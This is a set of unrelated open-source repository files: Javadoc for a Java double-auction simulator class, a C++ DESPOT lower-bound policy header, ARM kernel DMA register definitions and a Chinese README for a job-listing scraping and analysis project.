VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#addAsk(SellerType, float)">addAsk</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller, float&nbsp;value)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Adds a new ask for the given seller to sell at the given value.</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#addAsk(SellerType, ItemType, float)">addAsk</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller, <A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>&nbsp;item, float&nbsp;value)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Adds a new ask for the given seller to sell at the given value.</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#addBid(BuyerType, float)">addBid</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer, float&nbsp;value)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Adds a new buy bid for the given buyer for the given value.</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#addBid(BuyerType, ItemType, float)">addBid</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer, <A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>&nbsp;item, float&nbsp;value)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Adds a new bid for the given buyer for the given value.</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;float</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#getAskPrice()">getAskPrice</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns the current ask price of the market: Mth price.</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;float</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#getBidPrice()">getBidPrice</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns the current bid price of the market: (M+1)st price.</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;int</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#getNumAsks()">getNumAsks</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns number of asks</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;int</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#getNumBids()">getNumBids</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns number of buy bids</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;boolean</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#isBuyerInTradingSet(BuyerType)">isBuyerInTradingSet</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns true if the specified buyer will be allocated an item</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;boolean</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#isSellerInTradingSet(SellerType)">isSellerInTradingSet</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns true if the specified seller will sell</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#removeAsks(SellerType)">removeAsks</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Removes all asks for the specified seller</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#removeBids(BuyerType)">removeBids</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Removes all bids for the specified buyer.</TD> </TR> </TABLE> &nbsp;<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"> <TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE>equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD> </TR> </TABLE> &nbsp; <P> <!-- ============ FIELD DETAIL =========== --> <A NAME="field_detail"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2"> <B>Field Detail</B></FONT></TH> </TR> </TABLE> <A NAME="offers"><!-- --></A><H3> offers</H3> <PRE> public java.util.List&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/Exchange.html" title="class in alphabetsoup.simulators.markettaskallocation">Exchange</A>&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt;&gt; <B>offers</B></PRE> <DL> <DD>List that maintains all of the offers, always sorted descending by value. <P> <DL> </DL> </DL> <!-- ========= CONSTRUCTOR DETAIL ======== --> <A NAME="constructor_detail"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2"> <B>Constructor Detail</B></FONT></TH> </TR> </TABLE> <A NAME="DoubleAuction()"><!-- --></A><H3> DoubleAuction</H3> <PRE> public <B>DoubleAuction</B>()</PRE> <DL> </DL> <!-- ============ METHOD DETAIL ========== --> <A NAME="method_detail"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2"> <B>Method Detail</B></FONT></TH> </TR> </TABLE> <A NAME="addBid(java.lang.Object,float)"><!-- --></A><A NAME="addBid(BuyerType, float)"><!-- --></A><H3> addBid</H3> <PRE> public void <B>addBid</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer, float&nbsp;value)</PRE> <DL> <DD>Adds a new buy bid for the given buyer for the given value. <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyer</CODE> - <DD><CODE>value</CODE> - </DL> </DD> </DL> <HR> <A NAME="addBid(java.lang.Object,java.lang.Object,float)"><!-- --></A><A NAME="addBid(BuyerType, ItemType, float)"><!-- --></A><H3> addBid</H3> <PRE> public void <B>addBid</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer, <A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>&nbsp;item, float&nbsp;value)</PRE> <DL> <DD>Adds a new bid for the given buyer for the given value. Maintains an item identifier for the buyer to use if the transaction succeeds. <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyer</CODE> - <DD><CODE>item</CODE> - <DD><CODE>value</CODE> - </DL> </DD> </DL> <HR> <A NAME="addAsk(java.lang.Object,float)"><!-- --></A><A NAME="addAsk(SellerType, float)"><!-- --></A><H3> addAsk</H3> <PRE> public void <B>addAsk</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller, float&nbsp;value)</PRE> <DL> <DD>Adds a new ask for the given seller to sell at the given value. <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyer</CODE> - <DD><CODE>value</CODE> - </DL> </DD> </DL> <HR> <A NAME="addAsk(java.lang.Object,java.lang.Object,float)"><!-- --></A><A NAME="addAsk(SellerType, ItemType, float)"><!-- --></A><H3> addAsk</H3> <PRE> public void <B>addAsk</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller, <A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>&nbsp;item, float&nbsp;value)</PRE> <DL> <DD>Adds a new ask for the given seller to sell at the given value. Maintains an item identifier for the seller to use if the transaction succeeds. <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyer</CODE> - <DD><CODE>value</CODE> - </DL> </DD> </DL> <HR> <A NAME="removeBids(java.lang.Object)"><!-- --></A><A NAME="removeBids(BuyerType)"><!-- --></A><H3> removeBids</H3> <PRE> public void <B>removeBids</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer)</PRE> <DL> <DD>Removes all bids for the specified buyer. <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyer</CODE> - </DL> </DD> </DL> <HR> <A NAME="removeAsks(java.lang.Object)"><!-- --></A><A NAME="removeAsks(SellerType)"><!-- --></A><H3> removeAsks</H3> <PRE> public void <B>removeAsks</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller)</PRE> <DL> <DD>Removes all asks for the specified seller <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>seller</CODE> - </DL> </DD> </DL> <HR> <A NAME="getBidPrice()"><!-- --></A><H3> getBidPrice</H3> <PRE> public float <B>getBidPrice</B>()</PRE> <DL> <DD>Returns the current bid price of the market: (M+1)st price. <P> <DD><DL> <DT><B>Returns:</B><DD></DL> </DD> </DL> <HR> <A NAME="getAskPrice()"><!-- --></A><H3> getAskPrice</H3> <PRE> public float <B>getAskPrice</B>()</PRE> <DL> <DD>Returns the current ask price of the market: Mth price. <P> <DD><DL> <DT><B>Returns:</B><DD></DL> </DD> </DL> <HR> <A NAME="isBuyerInTradingSet(java.lang.Object)"><!-- --></A><A NAME="isBuyerInTradingSet(BuyerType)"><!-- --></A><H3> isBuyerInTradingSet</H3> <PRE> public boolean <B>isBuyerInTradingSet</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer)</PRE> <DL> <DD>Returns true if the specified buyer will be allocated an item <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyer</CODE> - <DT><B>Returns:</B><DD></DL> </DD> </DL> <HR> <A NAME="isSellerInTradingSet(java.lang.Object)"><!-- --></A><A NAME="isSellerInTradingSet(SellerType)"><!-- --></A><H3> isSellerInTradingSet</H3> <PRE> public boolean <B>isSellerInTradingSet</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller)</PRE> <DL> <DD>Returns true if the specified seller will sell <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyer</CODE> - <DT><B>Returns:</B><DD></DL> </DD> </DL> <HR> <A NAME="acceptAllExchangesFrom(java.util.Set, java.util.Set, float)"><!-- --></A><H3> acceptAllExchangesFrom</H3> <PRE> public java.util.List&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/Exchange.html" title="class in alphabetsoup.simulators.markettaskallocation">Exchange</A>&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt;&gt; <B>acceptAllExchangesFrom</B>(java.util.Set&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt;&nbsp;buyers, java.util.Set&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&gt;&nbsp;sellers, float&nbsp;price)</PRE> <DL> <DD>Returns a list of all the exchanges that occur given the current market from the specified subset of buyers and sellers (those that are not able to currently participate are <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyers</CODE> - <DD><CODE>sellers</CODE> - <DD><CODE>price</CODE> - <DT><B>Returns:</B><DD></DL> </DD> </DL> <HR> <A NAME="acceptNextBuyerExchange(java.lang.Object)"><!-- --></A><A NAME="acceptNextBuyerExchange(BuyerType)"><!-- --></A><H3> acceptNextBuyerExchange</H3> <PRE> public <A HREF="../../../alphabetsoup/simulators/markettaskallocation/Exchange.html" title="class in alphabetsoup.simulators.markettaskallocation">Exchange</A>&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt; <B>acceptNextBuyerExchange</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer)</PRE> <DL> <DD>Returns the next exchange for the specified buyer. Returns a populated Exchange class if a transaction takes place, including the seller information. The seller with the lowest price is chosen (since the earliest successful/capable bidder is calling). If no transaction is winning for the given buyer, this function returns null. The clearing price used by this function is the bid price. <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyer</CODE> - <DT><B>Returns:</B><DD></DL> </DD> </DL> <HR> <A NAME="acceptNextSellerExchange(java.lang.Object)"><!-- --></A><A NAME="acceptNextSellerExchange(SellerType)"><!-- --></A><H3> acceptNextSellerExchange</H3> <PRE> public <A HREF="../../../alphabetsoup/simulators/markettaskallocation/Exchange.html" title="class in alphabetsoup.simulators.markettaskallocation">Exchange</A>&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt; <B>acceptNextSellerExchange</B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller)</PRE> <DL> <DD>Returns the next exchange for the specified seller. Returns a populated Exchange class if a transaction takes place, including the buyer information. The buyer with the highest price is chosen (since the earliest successful/capable asker is calling). If no transaction is winning for the given seller, this function returns null. The clearing price used by this function is the ask price. <P> <DD><DL> <DT><B>Parameters:</B><DD><CODE>buyer</CODE> - <DT><B>Returns:</B><DD></DL> </DD> </DL> <HR> <A NAME="getNumAsks()"><!-- --></A><H3> getNumAsks</H3> <PRE> public int <B>getNumAsks</B>()</PRE> <DL> <DD>Returns number of asks <P> <DD><DL> <DT><B>Returns:</B><DD></DL> </DD> </DL> <HR> <A NAME="getNumBids()"><!-- --></A><H3> getNumBids</H3> <PRE> public int <B>getNumBids</B>()</PRE> <DL> <DD>Returns number of buy bids <P> <DD><DL> <DT><B>Returns:</B><DD></DL> </DD> </DL> <!-- ========= END OF CLASS DATA ========= --> <HR> <!-- ======= START OF BOTTOM NAVBAR ====== --> <A NAME="navbar_bottom"><!-- --></A> <A HREF="#skip-navbar_bottom" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_bottom_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/DoubleAuction.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/BucketStorageAgent.html" title="class in alphabetsoup.simulators.markettaskallocation"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/Economy.html" title="class in alphabetsoup.simulators.markettaskallocation"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html?alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="DoubleAuction.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_bottom"></A> <!-- ======== END OF BOTTOM NAVBAR ======= --> <HR> </BODY> </HTML>
eshen1991/kivasim
doc/alphabetsoup/simulators/markettaskallocation/DoubleAuction.html
HTML
gpl-2.0
33,168
#ifndef LOWER_BOUND_POLICY_MODE #define LOWER_BOUND_POLICY_MODE #include "lower_bound/lower_bound_policy.h" /* This class refines PolicyLowerBound to define the best action of a particle * set as the best action for the mode of the set. As the computation of this * action is problem-specific, it is further delegated to the model. * * Implementation note: The problem state must define implicit conversions * to int because this module uses state-indexed tables of size |S| to * compute the mode in linear time. Therefore it is unsuitable for problems * with large state spaces. * * Space complexity: O(|S|) * Time complexity (per query): O(Number of particles * search_depth) */ template<typename T> class ModePolicyLowerBound : public PolicyLowerBound<T> { public: ModePolicyLowerBound(const RandomStreams& streams, int num_states) : PolicyLowerBound<T>(streams), state_weight_(num_states) {} // Computes the mode and queries the model for the best action for it. int Action(const History& history, const vector<Particle<T>*>& particles, const Model<T>& model) const; private: mutable vector<double> state_weight_; }; template<typename T> int ModePolicyLowerBound<T>::Action( const History& history, const vector<Particle<T>*>& particles, const Model<T>& model) const { T mode = 0; for (auto p: particles) { state_weight_[p->state] += p->wt; if (state_weight_[p->state] > state_weight_[mode]) mode = p->state; } for (auto p: particles) state_weight_[p->state] = 0; return model.DefaultActionForState(mode); } #endif
adhiraj/despot
src/lower_bound/lower_bound_policy_mode.h
C
gpl-2.0
1,631
/* * include/asm-arm/arch-mp2530/regs-dma.h * * Copyright. 2003-2007 AESOP-Embedded project * http://www.aesop-embedded.org/mp2530/index.html * * godori(Ko Hyun Chul), omega5 - project manager * nautilus_79(Lee Jang Ho) - main programmer * amphell(Bang Chang Hyeok) - Hardware Engineer * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #ifndef __ASM_ARM_REGS_DMA_H #define __ASM_ARM_REGS_DMA_H #include <asm/arch/wincetype.h> /* DMA */ #define POLLUX_DMA_BASE(x) (POLLUX_VA_DMA+(x)*0x80) #define POLLUX_DMA_SRCADDR (0x00) #define POLLUX_DMA_DSTADDR (0x04) #define POLLUX_DMA_LENGTH (0x08) #define POLLUX_DMA_REQESTID (0x0a) #define POLLUX_DMA_MODE (0x0c) #define POLLUX_DMA_INTPEND (1<<17) #define POLLUX_DMA_INTMASK (1<<18) #define POLLUX_NUM_DMA (8) #define MAX_TRANSFER_SIZE (0x10000) /// @brief DMA Transfer Mode. enum OPMODE { OPMODE_MEM_TO_MEM = 0, ///< Memory to Memory operation OPMODE_MEM_TO_IO = 1, ///< Memory to Peripheral operation OPMODE_IO_TO_MEM = 2, ///< Peripheral to Memory operation OPMODE_FORCED32 = 0x7FFFFFFF }; //------------------------------------------------------------------------------ /// @brief DMA03 register list. //------------------------------------------------------------------------------ struct dma_regset_t { volatile U32 DMASRCADDR; ///< 0x00 : Source Address Register volatile U32 DMADSTADDR; ///< 0x04 : Destination Address Register volatile U16 DMALENGTH; ///< 0x08 : Transfer Length Register volatile U16 DMAREQID; ///< 0x0A : Peripheral ID Register volatile U32 DMAMODE; ///< 0x0C : DMA Mode Register }; //------------------------------------------------------------------------------ // DMA peripheral index of modules for the DMA controller. //------------------------------------------------------------------------------ enum { DMAINDEX_OF_UART0_MODULE_TX = 0, DMAINDEX_OF_UART0_MODULE_RX = 1, DMAINDEX_OF_UART1_MODULE_TX = 2, DMAINDEX_OF_UART1_MODULE_RX = 3, DMAINDEX_OF_UART2_MODULE_TX = 4, DMAINDEX_OF_UART2_MODULE_RX = 5, DMAINDEX_OF_UART3_MODULE_TX = 6, DMAINDEX_OF_UART3_MODULE_RX = 7, DMAINDEX_OF_USBDEVICE_MODULE_EP1 = 12, DMAINDEX_OF_USBDEVICE_MODULE_EP2 = 13, DMAINDEX_OF_SDHC0_MODULE = 16, DMAINDEX_OF_SSPSPI0_MODULE_TX = 18, DMAINDEX_OF_SSPSPI0_MODULE_RX = 19, DMAINDEX_OF_SSPSPI1_MODULE_TX = 20, DMAINDEX_OF_SSPSPI1_MODULE_RX = 21, DMAINDEX_OF_AUDIO_MODULE_PCMOUT = 24, DMAINDEX_OF_AUDIO_MODULE_PCMIN = 26, DMAINDEX_OF_SDHC1_MODULE = 30, DMAINDEX_OF_MCUS_MODULE = 31 }; #endif // __ASM_ARM_REGS_DMA_H
darth-llamah/kernel-caanoo
include/asm-arm/arch-pollux/regs-dma.h
C
gpl-2.0
3,320
# myjob 自动化抓取招聘信息,数据存储,数据分析。分析出有价值的信息,如技术趋势,招聘需求,行业类型,薪资待遇等。具体查看doc下的业务方案。 #开发进度-目前已完成的功能 1、通过抓取源url,以及过滤关键字,然后抓取数据,存储到redis数据库。 2、数据提取程序,从redis缓存中读出数据,然后提取相关字段存入mysql数据库。 #说明目前没完善的 1、安装脚本 2、目前只支持从51job(版权说明,只做个人爱好,不做商业用途)上获取信息,其他平台还没有做。 3、数据分析部分还没有做,前期找了很多种图形分析工具,但是都没找到自己理想的东西。 # 继续完善 说明:最近熟悉了elasticsearch等相关开发,想修改一下程序结构。主要修改如下:将爬取的数据进行提取,然后直接封装成json格式,调用 elasticsearch接口插入elasticsearch中。好处:elasticsearch有分词功能,这样进行数据分析和统计更加方便和简单。 # 更新记录 20171127 再次查看pyspider版本已经发现已经支持elasticsearch。 20171128 更新pyspider版本;调试连接elasticsearch; 20171129 修改config下的配置文件,每个数据库对应一个索引;调通eleasticsearch结构,可以利用pyspider进行抓取任务;
pangyemeng/myjob
README.md
Markdown
gpl-2.0
1,384
